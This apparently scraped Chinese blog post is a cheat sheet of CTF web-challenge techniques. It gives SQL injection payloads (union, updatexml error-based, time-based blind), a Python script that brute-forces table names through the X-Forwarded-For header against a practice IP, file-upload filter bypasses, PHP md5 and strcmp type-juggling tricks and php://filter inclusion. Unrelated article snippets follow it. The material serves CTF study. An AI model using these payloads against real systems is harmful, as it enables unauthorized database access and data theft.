CTF 常见操作总结

Wesley13
• 阅读 581

一般流程

  1. 首先看header, veiwsource, 目录扫描
  2. 有登陆, 尝试sql注入&爆破
  3. 有数据库, 必然sql注入?

普通sql注入

  1. 判断是否存在回显异常 尝试单双引号

  2. 查是字符型?数值型? 若1'#成功查询, 则是字符型 若失败则是数值型

  3. 确定字段数 1' order by 3# , 意思是按第三参数排序, 若报错则没有第三字段

  4. 确定返回值类型(需要么?参见bugku学生管理) 0' union select 1, 2, 3, 4 #不可 0' union select '1', '2', '3', '4' #可

  5. 确定offset 1' union select '1', '2', '3', '4' # 仅有id=1的数据 0' union select '1', '2', '3', '4' # 仅有1234数据

  6. database()

  7. information_schema.tables (使用group_concat)

  8. information_schema.columns (使用group_concat)

  9. 查字段

带字符串过滤的sql注入

  1. 异或测试过滤 1'^(length('and')==0) 1'^(length('asdasd')==0) 测试结果若与下面的不同, 则存在and的过滤

  2. 双写绕过, 大小写绕过

  3. 空格过滤 /x/充当空格

  4. 若上面的绕过union失效, 尝试updatexml(但需要异常回显) 1' and updatexml(1,concat('',(select group_concat(table_name) from information_schema.tables where table_schema=database()),''),3) %23

sql约束攻击

类似与在提供了注册功能的同时, 需要登陆admin帐号的情况下使用 注册时: username=admin a&&passwd=passwd 因为sql由于字符串长度限制, 所以查询时截断username, 误认为admin, 登陆 但实测user(name varchar(20))下insert数据, 长度过长会报错, 所以这种攻击是否有效就另说了?

insert into类型sql注入

  1. 基于时间的sql注入 '+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset 0) from 0 for 1)='a' then sleep(30) else 0 end)) #

    import requests as req from lxml import etree import base64 from tqdm import tqdm

    url='http://123.206.87.240:8002/web15/'

    payload="'+"+"(select case when substr((select table_name from information_schema.tables where table_schema=(select database()) limit 1 offset %d) from %d for 1)='%s' then sleep(30) else 0 end)) #"

    payload="'+"+"(select case when substr((select * from flag from %d for 1)='%s' then sleep(30) else 0 end)) #" dic="1234567890qwertyuiopasdfghjklzxcvbnm"

    dbname="w111111111111111111" tablename=[]

    for ti in range(1): tmp='' for i in range(1, 21): check=False for ch in dic: try: print(payload%(i, ch)) resp=req.get(url, headers={'X-Forwarded-For': payload%(i, ch)}, timeout=3) except: tmp+=ch print(tmp) check=True break if check==False: break tablename.append(tmp) print(tablename)

  2. 基于regex的sql注入 详见:https://blog.csdn.net/hwz2311245/article/details/53941523

  3. 基于异常的sql注入 链接同上

文件上传

此处用burpsuite操作

  1. 请求头的Content-Type大小写绕过
  2. 请求数据的Content-Type改为image/png等
  3. 文件后缀黑名单php, php4, php5, phps, phtml, phtm绕过
  4. 屏蔽<?php: 用<?= 或

绕过

  1. x==0 字符串绕过

  2. x==null %20绕过

  3. is_numeric(x)==false && x==1 1%00123 字符截断 1%20123 空格字符

(%00123 绕过is_numeric()==false, x==1不能) (%20123 不能绕过is_numeric()==false)

  1. is_numeric(x)==true && sql注入 二次注入, x专成16进制即可

    select hex('test'); -> 0x74657374

  2. md5(x) == md5(y) && x!=y 数组绕过x[]=x&y[]=y sha1同理

  3. md5(x) === md5(y)

  4. strcmp($x, $flag)==0 Php5.3之后版本使用strcmp比较一个字符串和数组的话,将不再返回-1而是返回0

  5. true == "0" 字符串绕过

php技巧

  1. GLOBALS变量

  2. 文件包含 php://filter/read=convert.base64-encode/resource=flag.php

  3. php://input 可将数据放入rawbody

  4. 传数组burpsuite下 numbers[]="0,0,0" numbers=[0,0,0]

HTTP

  1. X-Forwarded-For设置ip 事实上反代服务器也会写上XFF之类的header X-Forwarded-For:Squid 服务代理 Proxy-Client-IP:apache 服务代理 WL-Proxy-Client-IP:weblogic 服务代理 HTTP_CLIENT_IP:有些代理服务器 X-Real-IP:nginx服务代理

编码

  1. HTML编码

    KEY{J2sa42ahJK-HS11III} KEY{J2sa42ahJK-HS11III}

  2. Base64

  3. urlencode

    // js escape('!#') // "%21%23" unescape('%21%23"') // !#

其他

  1. 如何做到POST的同时给出GET参数? postman: POST同时url上写GET参数, from-data写POST数据 hackbar: enable post data即可

  2. JSFuck

问题

  1. http://123.206.87.240:8006/test/hello.php?id=1

    ";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("f4l2a3g.txt"); } else { print "never never never give up !!!"; } ?>

    http://123.206.87.240:8006/test/hello.php?id=0&b=%004123123&a=php://input

为何id=0不能通过?

  1. sql注入, 做到这里卡题了 http://123.206.87.240:9001/sql/ http://123.206.87.240:9001/sql/do_Everythin.php#
点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
待兔 待兔
5个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
Jacquelyn38 Jacquelyn38
3年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
Easter79 Easter79
3年前
sql注入
反引号是个比较特别的字符,下面记录下怎么利用0x00SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select\from\users\whereuser\_id1limit0,1;!(https://o
Wesley13 Wesley13
3年前
java中比较两个时间的差值
项目背景1.某篇文稿的发布时间是publishDate,例如:2020072118:00:41。2.现要求判断该篇文稿的发布时间是否在近30天之内。publicstaticlongdayDiff(DatecurrentDate,DatepublishDate){LongcurrentTimecurrentDat
Stella981 Stella981
3年前
Python3:sqlalchemy对mysql数据库操作,非sql语句
Python3:sqlalchemy对mysql数据库操作,非sql语句python3authorlizmdatetime2018020110:00:00coding:utf8'''
Wesley13 Wesley13
3年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Wesley13 Wesley13
3年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
10个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这